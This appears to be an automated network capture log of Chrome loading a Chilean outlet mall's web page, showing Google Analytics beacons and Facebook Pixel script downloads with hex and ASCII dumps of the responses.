2025-01-10 19:49:35 UTC	1265	OUT	POST /g/collect?v=2&tid=G-CH16T48972&gtm=45je5190v9178914784za200zb9179349893&_p=1736538571179&_gaz=1&gcd=13l3l3l3l1l1&npa=0&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&cid=1483336929.1736538575&ul=en-us&sr=1280x1024&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&are=1&pae=1&frm=0&pscdl=noapi&_s=1&sid=1736538574&sct=1&seg=0&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&dt=Head%20-%20Patio%20Outlet%20Maip%C3%BA&en=page_view&_fv=1&_ss=1&_ee=1&tfd=8047 HTTP/1.1 Host: analytics.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://patiooutletmaipu.cl X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:35 UTC	850	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://patiooutletmaipu.cl Date: Fri, 10 Jan 2025 19:49:35 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Credentials: true Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ascnsrsggc:136:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=coop_reporting Report-To: {"group":"coop_reporting","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ascnsrsggc:136:0"}],} Server: Golfe2 Content-Length: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	49743	157.240.251.9	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:35 UTC	1383	OUT	GET /signals/config/417760590628659?v=2.9.179&r=stable&domain=patiooutletmaipu.cl&hme=b8122d5d96cd6f542162ba4f497489972d1ebe228d24c39d34f560e30ae932ce&ex_m=70%2C122%2C107%2C111%2C61%2C4%2C100%2C69%2C16%2C97%2C89%2C51%2C54%2C173%2C176%2C188%2C184%2C185%2C187%2C29%2C101%2C53%2C77%2C186%2C168%2C171%2C181%2C182%2C189%2C132%2C41%2C191%2C192%2C34%2C144%2C15%2C50%2C197%2C196%2C134%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C93%2C17%2C14%2C96%2C92%2C91%2C108%2C52%2C110%2C39%2C109%2C30%2C94%2C26%2C169%2C172%2C141%2C86%2C56%2C84%2C33%2C73%2C0%2C95%2C32%2C28%2C82%2C83%2C88%2C47%2C46%2C87%2C37%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C102%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C104%2C103%2C105%2C98%2C10%2C20%2C3%2C38%2C74%2C19%2C5%2C90%2C81%2C44%2C35%2C85%2C2%2C36%2C63%2C42%2C106%2C45%2C79%2C68%2C112%2C60%2C59%2C31%2C99%2C58%2C55%2C49%2C78%2C72%2C24%2C113 HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:36 UTC	1452	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src 'nonce-7QXf8IV7' .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2025-01-10 19:49:36 UTC	1670	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2025-01-10 19:49:36 UTC	1491	IN	Data Raw: 2f 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 Data Ascii: /* Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wi
2025-01-10 19:49:36 UTC	14893	IN	Data Raw: 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 28 29 29 72 65 74 75 72 6e 3b 76 61 72 20 67 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 29 3d 3d 3d 22 73 79 6d 62 6f 6c 22 3f 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 61 21 3d 3d 28 74 79 70 65 6f 66 20 53 79 6d 62 6f Data Ascii: urn!1}return!0}())return;var g=typeof Symbol==="function"&&typeof (typeof Symbol==="function"?Symbol.iterator:"@@iterator")==="symbol"?function(a){return typeof a}:function(a){return a&&typeof Symbol==="function"&&a.constructor===Symbol&&a!==(typeof Symbo
2025-01-10 19:49:36 UTC	1491	IN	Data Raw: 69 6f 6e 20 67 28 61 2c 62 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 61 2c 62 29 7b 69 66 28 21 61 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 62 26 26 28 74 79 70 65 6f 66 20 62 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 62 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 62 3a 61 Data Ascii: ion g(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}function h(a,b){if(!a)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return b&&(typeof b==="object"\|\|typeof b==="function")?b:a
2025-01-10 19:49:36 UTC	1491	IN	Data Raw: 29 3b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 63 2e 76 61 6c 75 65 73 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 61 2c 62 29 7b 61 3d 67 28 61 2c 62 29 3b 76 61 72 20 64 3d 22 22 3b 62 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6a 28 61 29 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 70 61 72 61 6d 43 6f 6e 66 69 67 2e 71 75 65 72 79 2e 6c 6f 63 61 6c 65 43 6f 6d 70 61 72 65 28 62 2e 70 61 72 61 6d 43 6f 6e 66 69 67 2e 71 75 65 72 79 29 7d 29 3b 62 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 61 6d 43 6f 6e 66 69 67 2e 70 72 65 66 69 78 2c 65 3d 61 2e 70 61 72 61 6d 43 6f 6e 66 69 67 2e 65 62 70 5f 70 61 74 68 3b 61 3d 61 2e 70 61 72 61 6d 56 61 6c 75 65 Data Ascii: );return Array.from(c.values())}function h(a,b){a=g(a,b);var d="";b=[].concat(j(a)).sort(function(a,b){return a.paramConfig.query.localeCompare(b.paramConfig.query)});b.forEach(function(a){var b=a.paramConfig.prefix,e=a.paramConfig.ebp_path;a=a.paramValue
2025-01-10 19:49:36 UTC	13402	IN	Data Raw: 65 64 49 6e 50 69 78 65 6c 73 28 62 29 2e 69 6e 64 65 78 4f 66 28 63 29 3d 3d 3d 2d 31 7d 7d 29 28 29 3b 72 65 74 75 72 6e 20 65 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 2e 70 6c 75 67 69 6e 73 2e 63 6f 6f 6b 69 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6a 2c 62 2c 63 2c 64 29 7b 76 61 72 20 65 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 65 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e Data Ascii: edInPixels(b).indexOf(c)===-1}})();return e.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEvents.plugins.cookie",function(){return function(j,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=f.getFbeventsModules("SignalsFBEven
2025-01-10 19:49:36 UTC	1491	IN	Data Raw: 6f 6e 28 61 29 7b 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 5b 61 5d 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 5b 61 5d 3d 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 5b 61 5d 28 29 29 3b 72 65 74 75 72 6e 20 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 5b 61 5d 7d 2c 66 2e 66 62 49 73 4d 6f 64 75 6c 65 4c 6f 61 64 65 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 21 21 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 5b 61 5d 7d 2c 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 61 29 7b 66 2e 66 62 49 73 4d 6f 64 75 6c 65 4c 6f 61 64 65 64 Data Ascii: on(a){f.__fbeventsResolvedModules[a]\|\|(f.__fbeventsResolvedModules[a]=f.__fbeventsModules[a]());return f.__fbeventsResolvedModules[a]},f.fbIsModuleLoaded=function(a){return!!f.__fbeventsModules[a]},f.ensureModuleRegistered=function(b,a){f.fbIsModuleLoaded
2025-01-10 19:49:36 UTC	1491	IN	Data Raw: 68 2e 6c 69 73 74 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 21 6f 28 61 2e 69 64 29 3f 7b 7d 3a 7b 69 61 62 3a 31 7d 7d 29 3b 67 2e 6c 69 73 74 65 6e 28 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 69 66 28 21 6f 28 62 29 29 72 65 74 75 72 6e 3b 62 3d 61 2e 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 2b 22 5f 22 2b 44 61 74 65 2e 6e 6f 77 28 29 2b 22 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 62 3d 6c 28 62 29 3b 76 61 72 20 64 3d 63 2e 67 65 74 28 22 65 69 64 22 29 3b 69 66 28 64 21 3d 6e 75 6c 6c 26 26 64 21 3d 3d 22 22 7c 7c 62 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 3b 63 2e 61 70 70 65 6e 64 28 22 61 70 63 6d 5f 65 69 64 22 2c 22 31 22 29 3b 64 3d 22 70 63 6d 5f 70 6c 75 67 69 6e 2d 73 65 74 5f 22 2b 62 3b 63 2e 61 70 Data Ascii: h.listen(function(a,b){return!o(a.id)?{}:{iab:1}});g.listen(function(b,c){if(!o(b))return;b=a.location.origin+"_"+Date.now()+"_"+Math.random();b=l(b);var d=c.get("eid");if(d!=null&&d!==""\|\|b==null)return;c.append("apcm_eid","1");d="pcm_plugin-set_"+b;c.ap
2025-01-10 19:49:36 UTC	13402	IN	Data Raw: 65 3a 22 46 61 63 65 62 6f 6f 6b 20 50 69 78 65 6c 20 45 72 72 6f 72 22 2c 6c 6f 67 4d 65 73 73 61 67 65 3a 22 50 69 78 65 6c 20 63 6f 64 65 20 69 73 20 6e 6f 74 20 69 6e 73 74 61 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 20 6f 6e 20 74 68 69 73 20 70 61 67 65 22 7d 2c 22 2a 22 29 3b 22 65 72 72 6f 72 22 69 6e 20 63 6f 6e 73 6f 6c 65 26 26 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 46 61 63 65 62 6f 6f 6b 20 50 69 78 65 6c 20 45 72 72 6f 72 3a 20 50 69 78 65 6c 20 63 6f 64 65 20 69 73 20 6e 6f 74 20 69 6e 73 74 61 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 20 6f 6e 20 74 68 69 73 20 70 61 67 65 22 29 3b 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 28 29 29 72 65 74 75 72 6e 3b 66 75 6e 63 74 69 6f 6e 20 67 28 61 29 7b 69 66 28 41 72 72 61 79 2e Data Ascii: e:"Facebook Pixel Error",logMessage:"Pixel code is not installed correctly on this page"},"*");"error"in console&&console.error("Facebook Pixel Error: Pixel code is not installed correctly on this page");return!1}return!0}())return;function g(a){if(Array.
2025-01-10 19:49:36 UTC	1491	IN	Data Raw: 76 65 72 73 69 6f 6e 29 7d 63 61 74 63 68 28 61 29 7b 66 3d 21 30 2c 67 3d 61 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 21 65 26 26 68 5b 22 72 65 74 75 72 6e 22 5d 26 26 68 5b 22 72 65 74 75 72 6e 22 5d 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 66 29 74 68 72 6f 77 20 67 7d 7d 75 2e 73 65 74 28 71 2c 53 74 72 69 6e 67 28 62 29 29 3b 78 28 64 2c 75 2c 73 29 7d 29 5b 22 63 61 74 63 68 22 5d 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 6d 65 73 73 61 67 65 3d 22 5b 43 6c 69 65 6e 74 48 69 6e 74 20 45 72 72 6f 72 5d 22 2b 61 2e 6d 65 73 73 61 67 65 2c 6a 28 61 29 7d 29 3b 68 2e 6c 69 73 74 65 6e 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 3d 64 2e 67 65 74 50 69 78 65 6c 28 62 29 3b 69 66 28 62 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 3b 62 3d 64 2e 70 6c 75 67 69 Data Ascii: version)}catch(a){f=!0,g=a}finally{try{!e&&h["return"]&&h["return"]()}finally{if(f)throw g}}u.set(q,String(b));x(d,u,s)})["catch"](function(a){a.message="[ClientHint Error]"+a.message,j(a)});h.listen(function(b){b=d.getPixel(b);if(b==null)return;b=d.plugi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49742	157.240.0.6	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:35 UTC	361	OUT	GET /en_US/fbevents.js HTTP/1.1 Host: connect.facebook.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:36 UTC	1452	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src 'nonce-KQ9sPlhZ' .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2025-01-10 19:49:36 UTC	1658	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2025-01-10 19:49:36 UTC	1	IN	Data Raw: 2f Data Ascii: /
2025-01-10 19:49:36 UTC	14692	IN	Data Raw: 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 74 Data Ascii: * Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wit
2025-01-10 19:49:36 UTC	16384	IN	Data Raw: 64 3d 3d 3d 22 4a 53 4f 4e 5f 4c 44 22 7c 7c 64 3d 3d 3d 22 4d 45 54 41 5f 54 41 47 22 7c 7c 64 3d 3d 3d 22 4f 50 45 4e 5f 47 52 41 50 48 22 7c 7c 64 3d 3d 3d 22 52 44 46 41 22 7c 7c 64 3d 3d 3d 22 53 43 48 45 4d 41 5f 44 4f 54 5f 4f 52 47 22 7c 7c 64 3d 3d 3d 22 55 52 49 22 3f 64 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 21 3d 6e 75 6c 6c 26 26 63 21 3d 6e 75 6c 6c 26 26 61 21 3d 6e 75 6c 6c 26 26 64 21 3d 6e 75 6c 6c 3f 7b 64 6f 6d 61 69 6e 5f 75 72 69 3a 62 2c 65 76 65 6e 74 5f 74 79 70 65 3a 63 2c 65 78 74 72 61 63 74 6f 72 5f 74 79 70 65 3a 64 2c 69 64 3a 61 7d 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 67 28 61 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e Data Ascii: d==="JSON_LD"\|\|d==="META_TAG"\|\|d==="OPEN_GRAPH"\|\|d==="RDFA"\|\|d==="SCHEMA_DOT_ORG"\|\|d==="URI"?d:null;return b!=null&&c!=null&&a!=null&&d!=null?{domain_uri:b,event_type:c,extractor_type:d,id:a}:null}function g(a){if(a==null\|\|(typeof a==="undefined"?"undefin
2025-01-10 19:49:36 UTC	16384	IN	Data Raw: 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 78 70 65 72 69 6d 65 6e 74 73 54 79 70 65 64 65 66 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 29 7b 76 61 72 20 6b 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6b 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 54 79 70 65 64 22 29 2c 62 3d 61 2e 54 79 70 65 64 3b 61 2e 63 6f 65 72 63 65 3b 61 2e 65 6e 66 6f 72 63 65 3b 61 3d 62 2e 61 72 72 61 Data Ascii: s}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsExperimentsTypedef",function(){return function(g,h,i,j){var k={exports:{}};k.exports;(function(){"use strict";var a=f.getFbeventsModules("SignalsFBEventsTyped"),b=a.Typed;a.coerce;a.enforce;a=b.arra
